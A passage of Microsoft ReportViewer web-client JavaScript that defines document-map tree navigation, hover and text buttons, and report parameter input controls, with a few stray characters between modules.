        top += fixedTable.clientHeight - lastRow.offsetHeight;

        return { left: left, top: top, width: fixedTable.clientWidth, height: lastRow.offsetHeight };
    }
}

Microsoft.Reporting.WebFormsClient._AsyncWaitControl.registerClass("Microsoft.Reporting.WebFormsClient._AsyncWaitControl", Sys.UI.Control);+6Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._DocMapArea = function(element)
{
    Microsoft.Reporting.WebFormsClient._DocMapArea.initializeBase(this, [element]);

    this.RootNodeId = null;
    this.SelectedNodeHiddenFieldId = null;
    this.TriggerPostBack = null;
    this.IsLTR = true;
    this.ReportViewerId = null;

    this.m_active = true;
    this.m_selectedNode = null;
    this.m_originalTextNodeColor = null;
    this.m_originalTextNodeBackColor = null;
}

Microsoft.Reporting.WebFormsClient._DocMapArea.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._DocMapArea.callBaseMethod(this, "initialize");
        
        if (this.RootNodeId != null)
        {
            this.SetDirectionForTree();
            
            var rootNode = $get(this.RootNodeId);
            var textNode = this.GetTextNodeFromTreeNode(rootNode);

            // Save the original text node color and back color
            this.m_originalTextNodeColor = textNode.style.color;
            if (this.m_originalTextNodeColor == null)
                this.m_originalTextNodeColor = "";                
            this.m_originalTextNodeBackColor = textNode.style.backgroundcolor;
            if (this.m_originalTextNodeBackColor == null)
                this.m_originalTextNodeBackColor = "";

            this.MarkNodeAsSelected(rootNode);
        }
    },

    dispose: function()
    {
        Microsoft.Reporting.WebFormsClient._DocMapArea.callBaseMethod(this, "dispose");
        this.m_selectedTextNode = null;
    },

    SetActive: function(active)
    {
        this.m_active = active;
    },

    ExpandCollapseNode : function(treeNode)
    {
        if (!this.m_active)
            return;

        var wasExpanded = this.IsNodeExpanded(treeNode);

        // Toggle visibility on the child nodes and images.  Only toggle immediate children
        var childNodes = treeNode.childNodes;
        for (var i = 0; i < childNodes.length; i++)
        {
            var childNode = childNodes[i];
            if (childNode.tagName === "DIV" ||  // Child nodes
                childNode.tagName === "INPUT")  // Expand/collapse images
            {
                this.ToggleNodeVisibility(childNode);
            }
        }
        
        // If the node is being collapsed and the currently selected node is a child
        // of that node, move the selection to the parent
        if (wasExpanded)
        {
            var allChildren = treeNode.getElementsByTagName("div");
            for (var i = 0; i < allChildren.length; i++)
            {
                if (allChildren[i] == this.m_selectedNode)
                {
                    this.MarkNodeAsSelected(treeNode);
                    break;
                }
            }
        }
    },

    IsNodeExpanded : function(treeNode)
    {
        // Look for a visible child tree node (DIV)
        var childNodes = treeNode.childNodes;
        for (var i = 0; i < childNodes.length; i++)
        {
            var childNode = childNodes[i];
            
            if (childNode.tagName === "DIV")
                return childNode.style.display !== "none";
        }
        
        // Leaf node
        return true;
    },
    
    IsLeafNode : function(treeNode)
    {
        var childNodes = treeNode.getElementsByTagName("DIV");
        return childNodes.length === 0;
    },
    
    ToggleNodeVisibility : function(node)
    {
        var isCurrentlyVisible = node.style.display !== "none";            
        _$RVCommon.SetElementVisibility(node, !isCurrentlyVisible);
    },
    
    OnTextNodeEnter : function(textNode)
    {
        if (!this.IsTextNodeSelected(textNode))
        {
            textNode.style.color = "highlighttext";
            textNode.style.backgroundColor = "highlight";
        }
    },
    
    OnTextNodeLeave : function(textNode)
    {
        if (!this.IsTextNodeSelected(textNode))
        {
            textNode.style.color = this.m_originalTextNodeColor;
            textNode.style.backgroundColor = this.m_originalTextNodeBackColor;
        }
    },
    
    IsTextNodeSelected : function(textNode)
    {
        return this.m_selectedNode != null && textNode == this.GetTextNodeFromTreeNode(this.m_selectedNode);
    },
    
    OnAnchorNodeSelected : function(anchorNode)
    {
        this.OnTreeNodeSelected(anchorNode.parentNode);
    },
    
    OnTreeNodeSelected : function(treeNode)
    {
        var docMapId = treeNode.attributes.getNamedItem("DocMapId").value;
        this.MarkNodeAsSelected(treeNode);
        $get(this.SelectedNodeHiddenFieldId).value = docMapId;
        this.TriggerPostBack();
    },
    
    MarkNodeAsSelected : function(treeNode)
    {
        // Remove old selection
        if (this.m_selectedNode != null)
        {
            var selectedTextNode = this.GetTextNodeFromTreeNode(this.m_selectedNode);

            selectedTextNode.style.color = this.m_originalTextNodeColor;
            selectedTextNode.style.backgroundColor = this.m_originalTextNodeBackColor;

            this.m_selectedNode = null;
        }
        
        if (treeNode != null)
        {
            this.m_selectedNode = treeNode;
            
            var selectedTextNode = this.GetTextNodeFromTreeNode(treeNode);
            
            selectedTextNode.style.color = "highlighttext";
            selectedTextNode.style.backgroundColor = "highlight";
            
            try
            {
                selectedTextNode.focus();
                
                // Update scroll position.  Ensure the tree node is visible
                var scrollableDiv = treeNode.offsetParent;
                if (scrollableDiv.scrollTop > selectedTextNode.offsetTop)
                    scrollableDiv.scrollTop = selectedTextNode.offsetTop - 1; // -1 for just a little padding
                else if (scrollableDiv.scrollTop + scrollableDiv.offsetHeight < selectedTextNode.offsetTop + selectedTextNode.offsetHeight)
                    scrollableDiv.scrollTop = selectedTextNode.offsetTop + selectedTextNode.offsetHeight - scrollableDiv.offsetHeight + 1; // +1 for just a little padding
            }
            catch (e)
            {
                // focus will throw if the item can't get the focus (e.g. the node is hidden).
                // Since we are only setting focus to be consistent with the selection, this is
                // ok - if the user can't see the focus rectangle, it won't be inconsistent
            }
        }
    },
    
    GetTextNodeFromTreeNode : function(treeNode)
    {
        var anchorNode = treeNode.getElementsByTagName("a")[0];
        return anchorNode.getElementsByTagName("span")[0];
    },
    
    SetDirectionForTree : function()
    {
        // If the server rendered the incorrect direction, fix it.
        var reportViewer = $find(this.ReportViewerId);
        var direction = reportViewer._get_direction();
        if ((direction === "ltr" && !this.IsLTR) || (direction === "rtl" && this.IsLTR))
        {
            var docMapArea = this.get_element();

            // Swap the margins for each child tree node
            var childNodes = docMapArea.getElementsByTagName("DIV");
            for (var i = 0; i < childNodes.length; i++)
            {
                var treeNode = childNodes[i];
                
                var oldMarginRight = treeNode.style.marginRight;
                treeNode.style.marginRight = treeNode.style.marginLeft;
                treeNode.style.marginLeft = oldMarginRight;
            }

            this.IsLTR = !this.IsLTR;
        }
    },
    
    OnKeyDown : function(e)
    {
        if (!this.m_active)
            return;

        if (e.altKey == true)
            return;

        switch (e.keyCode)
        {
            case 187: //=
                if (!e.shiftKey)
                    break;

            case 107: //+
                if (!this.IsLeafNode(this.m_selectedNode) && !this.IsNodeExpanded(this.m_selectedNode))
                    this.ExpandCollapseNode(this.m_selectedNode);
                e.returnValue = false;
                break;

            case 189: //-
                if (e.shiftKey)
                    break;

            case 109: //-
                if (!this.IsLeafNode(this.m_selectedNode) && this.IsNodeExpanded(this.m_selectedNode))
                    this.ExpandCollapseNode(this.m_selectedNode);
                e.returnValue = false;
                break;

            case Sys.UI.Key.right:
                e.returnValue = false;
                if (!this.IsLeafNode(this.m_selectedNode))
                {
                    if (!this.IsNodeExpanded(this.m_selectedNode))
                        this.ExpandCollapseNode(this.m_selectedNode);
                    else
                    {
                        // Select the first child
                        var firstChild = this.m_selectedNode.getElementsByTagName("DIV")[0];
                        this.MarkNodeAsSelected(firstChild);
                    }
                }
                break;

            case Sys.UI.Key.down:
                // Find visible child
                if (!this.IsLeafNode(this.m_selectedNode) && this.IsNodeExpanded(this.m_selectedNode))
                {
                    var firstChild = this.m_selectedNode.getElementsByTagName("DIV")[0];
                    this.MarkNodeAsSelected(firstChild);
                }
                else
                {
                    // Find next sibling.  If no sibling, go up a level and look for a sibling there
                    var parent = this.m_selectedNode;
                    var rootNode = $get(this.RootNodeId);
                    while (parent != rootNode)
                    {
                        // Advance up the hierarchy
                        var nodeToFindNextSiblingOf = parent;
                        parent = parent.parentNode;

                        // Find the index of the current selected node                        
                        var children = parent.childNodes;
                        for (var i = 0; i < children.length; i++)
                        {
                            if (children[i] == nodeToFindNextSiblingOf)
                                break;
                        }

                        // Select the next sibling if this is not the last node                        
                        if (i + 1 < children.length)
                        {
                            this.MarkNodeAsSelected(children[i + 1]);
                            break;
                        }
                    }
                }
                e.returnValue = false;
                break;

            case Sys.UI.Key.left:
                if (this.IsLeafNode(this.m_selectedNode) || !this.IsNodeExpanded(this.m_selectedNode))
                {
                    // Move to parent node
                    if (this.m_selectedNode != $get(this.RootNodeId))
                        this.MarkNodeAsSelected(this.m_selectedNode.parentNode);
                }
                else
                {
                    // An expanded node - collapse it
                    this.ExpandCollapseNode(this.m_selectedNode);
                }
                e.returnValue = false;
                break;

            case Sys.UI.Key.up:
                if (this.m_selectedNode != $get(this.RootNodeId))
                {
                    var siblings = this.m_selectedNode.parentNode.childNodes;
                    
                    // Find the index of the current selected node                        
                    for (var i = 0; i < siblings.length; i++)
                    {
                        if (siblings[i] == this.m_selectedNode)
                            break;
                    }

                    // Find the immediately previous sibling to the selected node
                    if (i > 0 && siblings[i - 1].tagName === "DIV")
                    {
                        var previousSibling = siblings[i - 1];
                        
                        // If the previous sibling is expanded, find its last expanded child
                        var trav = previousSibling;
                        while (trav != null && !this.IsLeafNode(trav) && this.IsNodeExpanded(trav))
                        {
                            var travChildren = trav.childNodes;
                            for (var i = travChildren.length - 1; i >= 0; i--)
                            {
                                if (travChildren[i].tagName === "DIV")
                                {
                                    trav = travChildren[i];
                                    break;
                                }
                            }
                        }
                        
                        this.MarkNodeAsSelected(trav);
                    }
                    else
                        this.MarkNodeAsSelected(this.m_selectedNode.parentNode);
                }
                e.returnValue = false;
                break;

            case Sys.UI.Key.enter:
                this.OnTreeNodeSelected(this.m_selectedNode);
                e.returnValue = false;
                break;
        }
    }
}

Microsoft.Reporting.WebFormsClient._DocMapArea.registerClass("Microsoft.Reporting.WebFormsClient._DocMapArea", Sys.UI.Control);UType.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._HoverImage = function (element)
{
    Microsoft.Reporting.WebFormsClient._HoverImage.initializeBase(this, [element]);

    this.OnClickScript = null;

    this.m_reportViewer = null;
    this.IsRtlVisible = false;
    this.LTRImageID = null;
    this.RTLImageID = null;
}

Microsoft.Reporting.WebFormsClient._HoverImage.prototype =
{
    initialize: function ()
    {
        Microsoft.Reporting.WebFormsClient._HoverImage.callBaseMethod(this, "initialize");
        $addHandlers(this.get_element(),
            { "mouseover": this.OnMouseOver,
                "mouseout": this.OnMouseOut,
                "click": this.OnClick },
            this);

        this.OnMouseOut(null);

        this.SetImageButton();
    },

    dispose: function ()
    {
        $clearHandlers(this.get_element());
        this.m_reportViewer = null;

        Microsoft.Reporting.WebFormsClient._HoverImage.callBaseMethod(this, "dispose");
    },

    set_NormalStyles: function (value) { this._normalStyles = value; },
    get_NormalStyles: function () { return this._normalStyles; },

    set_HoverStyles: function (value) { this._hoverStyles = value; },
    get_HoverStyles: function () { return this._hoverStyles; },

    set_ReportViewer: function (value)
    {
        this.m_reportViewer = value;
    },

    OnMouseOver: function (e)
    {
        if (this.OnClickScript == null)
            return;
        if (!this.IsButtonDisabled())
        {
            _$RVCommon.setButtonStyle(this.get_element(), this._hoverStyles, "pointer");
        }
    },

    OnMouseOut: function (e)
    {
        if (!this.IsButtonDisabled())
        {
            _$RVCommon.setButtonStyle(this.get_element(), this._normalStyles, "default");
        }
    },

    OnClick: function (e)
    {
        if (!this.IsButtonDisabled())
        {
            if (this.OnClickScript != null)
                this.OnClickScript();
        }

        e.preventDefault();
    },

    SetImageButton: function ()
    {
        if (this.m_reportViewer != null)
        {
            var direction = this.m_reportViewer._get_direction();

            var needsRtlVisible = direction === "rtl";

            if (needsRtlVisible != this.IsRtlVisible)
            {
                var ltrImage = document.getElementById(this.LTRImageID);
                var rtlImage = document.getElementById(this.RTLImageID);

                if (needsRtlVisible)
                {
                    rtlImage.style.display = "";
                    ltrImage.style.display = "none";
                }
                else
                {
                    rtlImage.style.display = "none";
                    ltrImage.style.display = "";
                }

                this.IsRtlVisible = needsRtlVisible;
            }
        }
    },

    IsButtonDisabled: function ()
    {
        var button = this.get_element();
        var buttonDisabledValue;

        // Button is table element. The HoverImage renders Enabled=false as disabled="disabled" attribute.
        // Some of the browsers interpred this as boolean disabled property, but is not in the standard for table element. 
        if (typeof (button.disabled) != "undefined")
        {
            return button.disabled;
        }

        var buttonDisabledValue;
        if (button.attributes && (typeof (button.attributes["disabled"]) != "undefined"))
            buttonDisabledValue = button.attributes["disabled"].nodeValue;

        if (buttonDisabledValue == "disabled")
            return true;
        else
            return false;
    }
}

Microsoft.Reporting.WebFormsClient._HoverImage.registerClass("Microsoft.Reporting.WebFormsClient._HoverImage", Sys.UI.Control);
cType.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._ScriptSwitchImage = function(element)
{
    Microsoft.Reporting.WebFormsClient._ScriptSwitchImage.initializeBase(this, [element]);
    
    this.m_image1 = null;
    this.m_image2 = null;
}

Microsoft.Reporting.WebFormsClient._ScriptSwitchImage.prototype =
{
    set_Image1: function (value) { this.m_image1 = value; },
    get_Image1: function () { return this.m_image1; },
    set_Image2: function (value) { this.m_image2 = value; },
    get_Image2: function () { return this.m_image2; },

    dispose: function ()
    {
        this.m_image1 = null;
        this.m_image2 = null;
        Microsoft.Reporting.WebFormsClient._ScriptSwitchImage.callBaseMethod(this, "dispose");
    },

    ShowImage: function (shouldShowImage1)
    {
        if (this.m_image1 == null || this.m_image2 == null)
            return;

        if (shouldShowImage1)
        {
            this.m_image1.style.display = "";
            this.m_image2.style.display = "none";
        }
        else
        {
            this.m_image2.style.display = "";
            this.m_image1.style.display = "none";
        }
    },

    SetOnClickHandler: function (forImage1, handler)
    {
        var image;
        if (forImage1)
            image = this.m_image1;
        else
            image = this.m_image2;

        image.control.OnClickScript = handler;
    }
}

Microsoft.Reporting.WebFormsClient._ScriptSwitchImage.registerClass("Microsoft.Reporting.WebFormsClient._ScriptSwitchImage", Sys.UI.Control);
x
Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._TextButton = function(element)
{
    Microsoft.Reporting.WebFormsClient._TextButton.initializeBase(this, [element]);

    this.IsActive = false;
    this.OnClickScript = null;

    this.ActiveLinkStyle = null;
    this.DisabledLinkStyle = null;

    this.ActiveLinkColor = null;
    this.DisabledLinkColor = null;
    this.ActiveHoverLinkColor = null;
}

Microsoft.Reporting.WebFormsClient._TextButton.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._TextButton.callBaseMethod(this, "initialize");

        $addHandlers(this.get_element(),
            { "mouseover" : this.OnMouseOver,
              "mouseout"  : this.OnMouseOut,
              "click"     : this.OnClick },
            this);

        this.OnMouseOut(null);
    },
    
    dispose : function()
    {
        $clearHandlers(this.get_element());
        
        Microsoft.Reporting.WebFormsClient._TextButton.callBaseMethod(this, "dispose");
    },
    
    OnMouseOver : function(e)
    {
        if (this.ActiveLinkStyle != null)
            return;
            
        var link = this.get_element();

        if (this.IsActive)
        {
            link.style.textDecoration = "underline";
            link.style.color = this.ActiveHoverLinkColor;
            link.style.cursor = "pointer";
        }
        else
            link.style.cursor = "default";
    },
    
    OnMouseOut : function(e)
    {
        if (this.ActiveLinkStyle != null)
            return;

        var link = this.get_element();

        if (this.IsActive)
            link.style.color = this.ActiveLinkColor;
        else
            link.style.color = this.DisabledLinkColor;
        link.style.textDecoration = "none";
    },
    
    OnClick : function(e)
    {
        if (this.OnClickScript != null && this.IsActive)
            this.OnClickScript();

        e.preventDefault();
    },
    
    SetActive : function(makeActive)
    {
        var button = this.get_element();
            
        this.IsActive = makeActive;
        
        // If using styles, update style name
        if (this.ActiveLinkStyle != null)
        {
            if (this.IsActive)
                button.className = this.ActiveLinkStyle;
            else
                button.className = this.DisabledLinkStyle;
        }
        
        this.OnMouseOut(null);
    }
}

Microsoft.Reporting.WebFormsClient._TextButton.registerClass("Microsoft.Reporting.WebFormsClient._TextButton", Sys.UI.Control);
Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

// BaseParameterInputControl /////////////////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._BaseParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._BaseParameterInputControl.initializeBase(this, [element]);
    
    this.NullCheckBoxId = null;
    this.NullValueText = null;
    this.ValidationMessage = null;
    this.PostBackOnChange = false;
    this.TriggerPostBackScript = null;
    this.TextBoxEnabledClass = null;
    this.TextBoxDisabledClass = null;
    this.TextBoxDisabledColor = null;
    
    this.m_validatorIds = new Array(0);
    this.m_customInputControlIds = new Array(0);
}

Microsoft.Reporting.WebFormsClient._BaseParameterInputControl.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._BaseParameterInputControl.callBaseMethod(this, "initialize");

        if (this.NullCheckBoxId != null)
        {
            $addHandlers($get(this.NullCheckBoxId),
                { "click" : this.OnNullCheckClick },
                this);
        }
    },
    
    dispose : function()
    {
        if (this.NullCheckBoxId != null)
            $clearHandlers($get(this.NullCheckBoxId));
        $clearHandlers(this.get_element());

        Microsoft.Reporting.WebFormsClient._BaseParameterInputControl.callBaseMethod(this, "dispose");
    },
    
    // Custom accessor for complex object type (array)
    set_CustomInputControlIdList : function(value) { this.m_customInputControlIds = value; },
    get_CustomInputControlIdList : function()      { return this.m_customInputControlIds; },
    set_ValidatorIdList          : function(value) { this.m_validatorIds = value; },
    get_ValidatorIdList          : function()      { return this.m_validatorIds; },

    // "Abstract" methods
    GetCurrentValue : function() { return null; },
    
    GetDisplayValue : function()
    {
        var currentValue = this.GetCurrentValue();
        if (currentValue == null)
            return "";
        else
            return currentValue;
    },
    
    SetEnableState : function(enable)
    {
        var enableNonNullControls = enable;

        if (this.NullCheckBoxId != null)
        {
            this.SetInputControlEnableState(this.NullCheckBoxId, enable);
            
            var nullCheckBox = $get(this.NullCheckBoxId);
            
            // If enabling, non-null controls are enabled only if null
            // checkbox is unchecked.  If disabling, non-null controls
            // should be disabled regardless of the null checkbox state.
            enableNonNullControls = enable && !nullCheckBox.checked;
        }
        
        // Update associated validators
        for (var i = 0; i < this.m_validatorIds.length; i++)
        {
            this.SetValidatorEnableState(this.m_validatorIds[i], enableNonNullControls);
        }
        
        // Update input controls other than the null check box
        for (var i = 0; i < this.m_customInputControlIds.length; i++)
        {
            this.SetInputControlEnableState(this.m_customInputControlIds[i], enableNonNullControls)
        }
    },
    
    ValidateHasValue : function()
    {
        if (this.GetCurrentValue() == null)
        {
            alert(this.ValidationMessage);
            return false;
        }
        else
            return true;
    },

    IsNullChecked : function()
    {
        if (this.NullCheckBoxId != null)
            return $get(this.NullCheckBoxId).checked;
        else
            return false;
    },
    
    OnNullCheckClick : function(e)
    {
        if (this.PostBackOnChange && this.GetCurrentValue() != null)
            this.TriggerPostBackScript();
            
        this.SetEnableState(true);
    },
    
    SetValidatorEnableState : function(validatorId, enable)
    {
        var validator = $get(validatorId);
        if (validator != null)
        {
            validator.enabled = enable;

            // Hide disabled validators
            if (!validator.enabled)
                ValidatorValidate(validator);
        }
    },
    
    SetInputControlEnableState : function(controlId, enable)
    {
        var control = $get(controlId);

        // ASP sets the disabled tag on a span that contains the radio button
        if (control.type == "radio" || control.type == "checkbox")
            control.parentNode.disabled = !enable;
        else if (control.type == "text")
        {
            if (!enable)
            {
                control.className = this.TextBoxDisabledClass;
                control.style.backgroundColor = this.TextBoxDisabledColor;
            }
            else
            {
                control.className = this.TextBoxEnabledClass;
                control.style.backgroundColor = "";
            }
        }

        control.disabled = !enable;
    }
}

Microsoft.Reporting.WebFormsClient._BaseParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._BaseParameterInputControl", Sys.UI.Control);
//////////////////////////////////////////////////////////////////////////////////////////////////////


// TextParameterInputControl /////////////////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._TextParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._TextParameterInputControl.initializeBase(this, [element]);
    
    this.TextBoxId = null;
    this.AllowBlank = false;
}

Microsoft.Reporting.WebFormsClient._TextParameterInputControl.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._TextParameterInputControl.callBaseMethod(this, "initialize");
    },
    
    dispose : function()
    {
        $clearHandlers(this.get_element());
        
        Microsoft.Reporting.WebFormsClient._TextParameterInputControl.callBaseMethod(this, "dispose");
    },
    
    GetCurrentValue : function()
    {
        if (this.IsNullChecked())
            return this.NullValueText;
        else
        {
            var txtInput = $get(this.TextBoxId);
            
            if (txtInput.value == "" && !this.AllowBlank)
                return null;
            else
                return txtInput.value;
        }
    }
}

Microsoft.Reporting.WebFormsClient._TextParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._TextParameterInputControl", Microsoft.Reporting.WebFormsClient._BaseParameterInputControl);
//////////////////////////////////////////////////////////////////////////////////////////////////////


// BoolParameterInputControl /////////////////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._BoolParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._BoolParameterInputControl.initializeBase(this, [element]);

    this.TrueCheckId = null;
    this.FalseCheckId = null;

    this.TrueValueText = null;
    this.FalseValueText = null;
}

Microsoft.Reporting.WebFormsClient._BoolParameterInputControl.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._BoolParameterInputControl.callBaseMethod(this, "initialize");
        
        // Call the boolean disabled script to ensure the client is in the correct state for non IE browsers
        if (this.NullCheckBoxId != null)
        {
            var isNullChecked = this.IsNullChecked();
            this.SetInputControlEnableState(this.TrueCheckId, !isNullChecked);
            this.SetInputControlEnableState(this.FalseCheckId, !isNullChecked);
        }
    },
    
    dispose : function()
    {
        $clearHandlers(this.get_element());
        
        Microsoft.Reporting.WebFormsClient._BoolParameterInputControl.callBaseMethod(this, "dispose");
    },
    
    GetCurrentValue : function()
    {
        if (this.IsNullChecked())
            return this.NullValueText;
        else
        {
            var chkTrue = $get(this.TrueCheckId);
            var chkFalse = $get(this.FalseCheckId);

            if (chkTrue.checked)
                return this.TrueValueText;
            else if (chkFalse.checked)
                return this.FalseValueText;
            else
                return null;
        }
    }
}

Microsoft.Reporting.WebFormsClient._BoolParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._BoolParameterInputControl", Microsoft.Reporting.WebFormsClient._BaseParameterInputControl);
//////////////////////////////////////////////////////////////////////////////////////////////////////


// ValidValueParameterInputControl ///////////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl.initializeBase(this, [element]);
    
    this.DropDownId = null;
    this.DropDownValidatorId = null;
    this.m_hasSelectAValue = true;
}

Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl.callBaseMethod(this, "initialize");
        
        this.RemoveSelectAValueIfNotSelected();
        
        $addHandlers($get(this.DropDownId),
            { "change" : this.RemoveSelectAValueIfNotSelected },
            this);
    },
    
    dispose : function()
    {
        $clearHandlers($get(this.DropDownId));
        
        Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl.callBaseMethod(this, "dispose");
    },

    GetCurrentValue : function()
    {
        var dropDown = $get(this.DropDownId);

        if (dropDown.selectedIndex > 0 || !this.m_hasSelectAValue)
            return dropDown.options[dropDown.selectedIndex].text;
        else
            return null;
    },
    
    RemoveSelectAValueIfNotSelected : function()
    {   
        if (this.m_hasSelectAValue)
        {
            var dropDown = $get(this.DropDownId);
            
            // If something other than "select a value" is selected
            if (dropDown.selectedIndex > 0)
            {
                // dropDown.offsetWidth can be zero if dropDown is hidden.
                if (dropDown.offsetWidth > 0)
                {
                    // If the "select a value" option is the longest one in the drop down,
                    // removing it will shrink the size of the dropdown.  This looks strange,
                    // so maintain the dropdown width.
                    dropDown.style.width = dropDown.offsetWidth + "px";
                }
                
                dropDown.remove(0);
                this.m_hasSelectAValue = false;
                
                // Now that the "select a value" option is removed,
                // the drop down validator is no longer necessary.
                // We cannot just disable the validator, since it
                // could be re-enabled by some client action.  Instead,
                // we just set the client validation function to null so
                // no actual validation occurs.
                if (this.DropDownValidatorId != null)
                {
                    var validator = $get(this.DropDownValidatorId);
                    if (validator != null)
                        validator.clientvalidationfunction = null;
                }
            }
        }
    }
}

Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._ValidValueParameterInputControl", Microsoft.Reporting.WebFormsClient._BaseParameterInputControl);
//////////////////////////////////////////////////////////////////////////////////////////////////////

// GenericDropDownParameterInputControl //////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.initializeBase(this, [element]);
    
    this.EnabledImageSrc = null;
    this.DisabledImageSrc = null;
    this.ImageId = null;
    this.TextBoxId = null;
    this.FloatingIframeId = null;
    this.RelativeDivId = null;
}

Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.callBaseMethod(this, "initialize");

        $addHandlers($get(this.ImageId),
            { "click" : this.OnDropDownImageClick },
            this);
    },
    
    dispose : function()
    {
        $clearHandlers($get(this.ImageId));
        $clearHandlers(this.get_element());
        
        Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.callBaseMethod(this, "dispose");
    },
    
    OnDropDownImageClick : function(e)
    {
        this.ToggleFloatingFrameVisibility();
        e.stopPropagation();
        e.preventDefault();
    },
    
    SetEnableState : function(enable)
    {
        Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.callBaseMethod(this, "SetEnableState", [enable]);

        var inputCtrl = $get(this.ImageId);
        this.SelectImage(!inputCtrl.disabled);
    },
    
    SelectImage : function(useEnabledImage)
    {
        var inputCtrl = $get(this.ImageId);
        if (useEnabledImage)
        {
            inputCtrl.src = this.EnabledImageSrc;
            inputCtrl.style.cursor = 'pointer';
        }
        else
        {
            inputCtrl.src = this.DisabledImageSrc;
            inputCtrl.style.cursor = 'default';
        }    
    },
    
    ToggleFloatingFrameVisibility : function()
    {
        var floatingIframe = $get(this.FloatingIframeId);
        if (floatingIframe.style.display == "none")
            this.ShowFloatingFrame();
        else
            this.HideFloatingFrame();
    },
    
    ShowFloatingFrame : function()
    {
        var floatingIFrame = $get(this.FloatingIframeId);

        // Position the drop down. This must be done before making the frame visible. Otherwise, 
        // a scroll bar is likely to appear as a result of showing the frame which would make the 
        // position invalid.
        if (this.RelativeDivId == null)
        {
            var newDropDownPosition = this.GetDropDownPosition();
            floatingIFrame.style.left = newDropDownPosition.Left + "px";
            floatingIFrame.style.top = newDropDownPosition.Top + "px";
        }

        // only show if the frame is not currently visible.
        if (floatingIFrame.style.display != "inline")
        {
            var visibleTextBox = $get(this.TextBoxId);

            floatingIFrame.style.width = visibleTextBox.offsetWidth + "px";
            floatingIFrame.style.display = "inline";
        }

        if (this.RelativeDivId != null)
        {
            // set the zIndex of the containing div so the frame doesn't get overlapped
            // by other elements outside the containing div.
            var relativeDiv = $get(this.RelativeDivId);
            relativeDiv.style.zIndex = 1;
        }
        else
        {
            // poll for changes in screen position
            this.PollForDropDownMovement();
        }
        
        // Define an OnShowEvent event for consumers of this class.
        var handler = this.get_events().getHandler("OnShowEvent");
        if (handler != null)
            handler(this, Sys.EventArgs.Empty);
    },
    
    HideFloatingFrame : function()
    {
        var floatingIFrame = $get(this.FloatingIframeId);

        if (this.RelativeDivId != null)
        {
            // reset the zIndex
            var relativeDiv = $get(this.RelativeDivId);
            relativeDiv.style.zIndex = 0;
        }
        
        floatingIFrame.style.display = "none";

        var handler = this.get_events().getHandler("OnHideEvent");
        if (handler != null)
            handler(this, Sys.EventArgs.Empty);

        // When the dropdown collapses, the parameter is done changing value,
        // so perform the autopost back for dependent parameters.
        if (this.PostBackOnChange)
            this.TriggerPostBackScript();
    },
    
    GetDropDownPosition : function()
    {
        var visibleTextBox = $get(this.TextBoxId);
        var floatingIFrame = $get(this.FloatingIframeId);

        // NOTE: In mozilla, x.offsetParent can only be accessed if x is visible.
        var originalDisplay = floatingIFrame.style.display;
        floatingIFrame.style.display = "inline";
        var offsetParent = floatingIFrame.offsetParent;
        floatingIFrame.style.display = originalDisplay;

        var textBoxPosition = this.GetObjectPosition(visibleTextBox, offsetParent);

        return {Left:textBoxPosition.Left, Top:textBoxPosition.Top + visibleTextBox.offsetHeight};
    },

    GetObjectPosition : function(obj, relativeToObj)
    {
        var totalTop = 0;
        var totalLeft = 0;
        
        var parent = obj.offsetParent;
        if (parent != null) 
        {
            // this loop goes through each step along the offsetParent hierarchy except the last step.
            // in the last step we do not want to make the scrollTop/scrollLeft correction.
            while (parent != relativeToObj && parent != null)
            {
                // topToTop is the distance from the top of obj to the top of parent.
                var topToTop = obj.offsetTop - parent.scrollTop;
                totalTop += topToTop;

                // leftToLeft is the distance from the outer left edge of obj to the outer left edge of parent
                var leftToLeft = obj.offsetLeft - parent.scrollLeft;
                totalLeft += leftToLeft;

                obj = parent;
                parent = parent.offsetParent;
            }
        }
        
        // The last step is to add in the distance from the top of obj to parent (the object 
        // that we are measuring relative to).
        // Therefore the scroll top/left correction is not needed.
        totalTop += obj.offsetTop;
        totalLeft += obj.offsetLeft;

        // if the parent != relativeToObj, then it must be null (per the exit conditions of the while
        // loop). Then the relativeToObject must be the top of the offset hierarchy, which means
        // either it is null or its parent is null. If neither of these are true, then we have an 
        // error and obj is not contained within relativeToObj.
        if (parent != relativeToObj && relativeToObj != null && relativeToObj.offsetParent != null)
        {
            // invalid input, obj is not contained within relativeToObj
            return {Left:0, Top:0};
        }

        if (parent != relativeToObj && relativeToObj != null)
        {
            totalTop -= relativeToObj.offsetTop;
